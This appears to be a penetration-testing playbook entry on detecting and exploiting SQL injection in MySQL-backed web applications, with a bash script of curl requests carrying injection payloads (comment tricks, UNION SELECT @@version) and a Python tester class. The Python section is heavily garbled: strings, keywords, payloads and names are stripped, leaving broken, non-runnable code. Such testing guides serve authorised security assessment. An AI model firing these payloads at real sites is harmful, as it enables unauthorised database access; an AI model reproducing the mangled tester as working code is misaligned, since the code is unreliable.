wstg-inpv-05-2

name	wstg-inpv-05.2
description	Testing for SQL Injection - MySQL
category	input-validation
owasp_id	WSTG-INPV-05.2
version	1.0.0
author	cyberstrike-official
tags	["injection","input-validation","xss","sqli","wstg","inpv"]
tech_stack	[]
cwe_ids	[]
chains_with	[]
prerequisites	[]
severity_boost	{}

wstg-inpv-05.2

Test ID

WSTG-INPV-05.2

Test Name

Testing for SQL Injection - MySQL

High-Level Description

MySQL-specific SQL injection testing leverages MySQL's unique syntax, functions, and features. MySQL is widely used in web applications (LAMP stack), making it a common target. Key features include information_schema, comment syntax, and specific functions for data extraction and exploitation.

---

What to Check

• MySQL error messages
• information_schema access
• MySQL-specific functions
• Stacked queries
• File operations (LOAD_FILE, INTO OUTFILE)
• User-defined functions

---

How to Test

Step 1: MySQL Detection

#!/bin/bash
TARGET="https://target.com/product?id="

echo "[*] Testing for MySQL database..."

# Error-based detection
curl -s "${TARGET}'" | grep -iE "mysql|MariaDB|syntax.*MySQL|Warning.*mysql"

# MySQL comment syntax
curl -s "${TARGET}1--+"
curl -s "${TARGET}1#"
curl -s "${TARGET}1/*comment*/"

# Version detection
curl -s "${TARGET}1' AND 1=1 UNION SELECT @@version-- -"

# String concatenation (MySQL uses CONCAT or space)
curl -s "${TARGET}1' AND 'test'='te''st"

Step 2: MySQL SQLi Tester

#!/usr/bin/env python3
"""
MySQL SQL Injection Tester
"""

import requests
 re
 time

 :
     ():
        .url = url
        .findings = []
        .session = requests.Session()

    
    MYSQL_ERRORS = [
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
    ]

    
    MYSQL_PAYLOADS = {
        : [
            ,
            ,
            ,
            ,
            ,
        ],
        : [
            ,
            ,
            ,
            ,
            ,
            ,
        ],
        : [
            (, ),
            (, ),
            (, ),
            (, ),
        ],
        : [
            ,
            ,
            ,
            ,
            ,
            ,
        ],
        : [
            ,
            ,
        ],
    }

     ():
        
        ()

        detection_payloads = [
            ,
            ,
            ,
            ,
        ]

         payload  detection_payloads:
            :
                response = .session.get(.url, params={param: payload})

                 pattern  .MYSQL_ERRORS:
                     re.search(pattern, response.text, re.IGNORECASE):
                        ()
                         

                
                   response.text.lower()    response.text.lower():
                    ()
                     

             Exception  e:
                

         

     ():
        
        ()

         payload  .MYSQL_PAYLOADS[]:
            :
                response = .session.get(.url, params={param: payload})

                
                 re.search(, response.text):
                    ()
                    ()
                    .findings.append({
                        : ,
                        : payload,
                        : 
                    })
                     

             Exception  e:
                

         

     ():
        
        ()

        
         i  (, ):
            null_list = .join([] * i)
            payload = 

            :
                response = .session.get(.url, params={param: payload})

                 response.status_code == :
                    has_error = 
                     pattern  .MYSQL_ERRORS:
                         re.search(pattern, response.text):
                            has_error = 
                            

                      has_error:
                        ()

                        
                        version_payload = 
                        version_response = .session.get(.url, params={param: version_payload})

                        version_match = re.search(, version_response.text)
                         version_match:
                            ()

                        .findings.append({
                            : ,
                            : i,
                            : 
                        })
                         

             Exception  e:
                

         

     ():
        
        ()

        
        start = time.time()
        .session.get(.url, params={param: }, timeout=)
        baseline = time.time() - start

         payload  .MYSQL_PAYLOADS[]:
            :
                start = time.time()
                .session.get(.url, params={param: payload}, timeout=)
                response_time = time.time() - start

                 response_time > baseline + :
                    ()
                    ()
                    ()
                    .findings.append({
                        : ,
                        : payload,
                        : 
                    })
                     

             requests.exceptions.Timeout:
                ()
                .findings.append({
                    : ,
                    : payload,
                    : 
                })
                 
             Exception  e:
                

         

     ():
        
        ()

        file_payloads = [
            ,
            ,  
        ]

         payload  file_payloads:
            :
                response = .session.get(.url, params={param: payload})

                   response.text    response.text:
                    ()
                    .findings.append({
                        : ,
                        : payload,
                        : 
                    })
                     

             Exception  e:
                

         

     ():
        
         .detect_mysql(param):
            .test_error_based(param)
            .test_union_based(param)
            .test_time_based(param)
            .test_file_operations(param)

        .generate_report()

     ():
        
        ( + *)
        ()
        (*)

          .findings:
            ()
        :
             f  .findings:
                ()
                   f:
                    ()


tester = MySQLSQLiTester()
tester.run_tests(param=)